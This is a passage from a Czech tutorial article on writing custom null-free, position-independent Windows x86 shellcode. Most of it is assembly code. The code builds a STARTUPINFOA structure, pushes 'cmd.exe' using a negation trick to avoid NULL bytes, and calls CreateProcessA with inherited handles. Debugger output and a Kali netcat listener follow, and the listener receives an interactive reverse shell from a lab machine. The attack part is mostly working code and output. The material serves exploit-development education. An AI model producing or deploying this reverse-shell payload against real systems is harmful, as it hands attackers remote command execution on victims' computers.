    "    push eax               ;" # Push dwX
    "    push eax               ;" # Push lpTitle
    "    push eax               ;" # Push lpDesktop
    "    push eax               ;" # Push lpReserved
    "    mov al, 0x44           ;" # Uložení 0x44 do AL
    "    push eax               ;" # Push cb
    "    push esp               ;" # Vložení ukazatele na STARTUPINFOA structure na zásobník
    "    pop edi                ;" # Uložení ukazatele na STARTUPINFOA v registru EDI

Druhá nově přidaná funkce create_cmd_string vloží řetězec „cmd.exe“ na zásobník a uloží ukazatel na něj v registru pro budoucí použití. Nejprve do registru EAX vložíme zápornou hodnotu, kterou následně znegujeme, čímž získáme poslední část řetězce („NULL terminated“) a zároveň se vyhneme použití NULL bajtu v našem shellcodu. Následně se na zásobník vloží zbývající část řetězce a ukazatel se uloží v EBX registru.

" create_cmd_string:         " #
    "    mov eax, 0xff9a879b    ;" # Hodnota 0xff9a879b v registru EAX
    "    neg eax                ;" # Negate EAX, EAX = 00657865
    "    push eax               ;" # Vložení části řetězce "cmd.exe" 
    "    push 0x2e646d63        ;" # Vložení zbytku řetězce "cmd.exe"
    "    push esp               ;" # Vložení ukazatele na retězec "cmd.exe" na zásobník
    "    pop ebx                ;" # Uložení ukazatele na řetězec "cmd.exe" v registru EBX

Jelikož již máme připravenou STARTUPINFOA strukturu a řetězec „cmd.exe“, přidáme poslední funkci pro nastavení veškerých argumentů a provolání CreateProcessA API. Začneme přesunutím hodnoty ESP registru do registru EAX a za pomocí ECX odečteme 0x390, aby nedošlo k přepsání struktury PROCESS_INFORMATION. Následně se vloží ukazatel na strukturu STARTUPINFOA, kterou jsme dříve uložili do EDI registru. Následují tři NULL argumenty a poté inkrementace EAX registru k nastavení argumentu bInheritHandles na hodnotu 0x01 (TRUE). Provede se znovu vynulování registru EAX a dvě vložení na zásobník. Pomocí registru EBX, který uchovává ukazatel na řetězec „cmd.exe“ se nastaví parametr lpCommandLine. Na závěr se parametr lpApplicationName nastaví na hodnotu NULL a provolá se funkce CreateProcessA:

" call_createprocessa:       " #
    "    mov eax, esp           ;" # Přesunutí ESP do EAX
    "    xor ecx, ecx           ;" # Null ECX
    "    mov cx, 0x390          ;" # Uložení 0x390 do CX
    "    sub eax, ecx           ;" # Odečtení CX z EAX aby nedošlo následně k přepsání struktury
    "    push eax               ;" # Push lpProcessInformation
    "    push edi               ;" # Push lpStartupInfo
    "    xor eax, eax           ;" # Null EAX
    "    push eax               ;" # Push lpCurrentDirectory
    "    push eax               ;" # Push lpEnvironment
    "    push eax               ;" # Push dwCreationFlags
    "    inc eax                ;" # Inkrementace EAX, EAX = 0x01 (TRUE)
    "    push eax               ;" # Push bInheritHandles
    "    dec eax                ;" # Null EAX
    "    push eax               ;" # Push lpThreadAttributes
    "    push eax               ;" # Push lpProcessAttributes
    "    push ebx               ;" # Push lpCommandLine
    "    push eax               ;" # Push lpApplicationName
    "    call dword ptr [ebp+0x18];" # Call CreateProcessA

Nyní znovu nastavíme listener v Kali stroji a ověříme v debuggeru, že vše proběhlo v pořádku, tedy že návratová hodnota není NULL (registr EAX):

0:004> g
ModLoad: 74300000 74352000   C:\WINDOWS\SysWOW64\mswsock.dll
Breakpoint 0 hit
eax=00000000 ebx=032df258 ecx=00000390 edx=032defb0 esi=00000224 edi=032df260
eip=016b016d esp=032df230 ebp=032df8e8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
016b016d ff5518          call    dword ptr [ebp+18h]  ss:002b:032df900={KERNEL32!CreateProcessAStub (75492d70)}
0:004> p
eax=00000001 ebx=032df258 ecx=878f9bc6 edx=00e90000 esi=00000224 edi=032df260
eip=016b0170 esp=032df258 ebp=032df8e8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
016b0170 0000            add     byte ptr [eax],al          ds:002b:00000001=??
...

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.154.188] from (UNKNOWN) [192.168.154.212] 52439
Microsoft Windows [Version 10.0.19045.3693]
(c) Microsoft Corporation. Vsechna pr�va vyhrazena.

C:\Users\test>

Jak jsme právě ověřili, po doběhnutí našeho shellcodu je navázáno spojení a získáme plně interaktivní reverse shell. V dnešním článku jsme si ukázali možný způsob jak vytvořit vlastní shellcode za pomoci systémových knihoven, který neobsahuje NULL bajt a je pozičně nezávislý.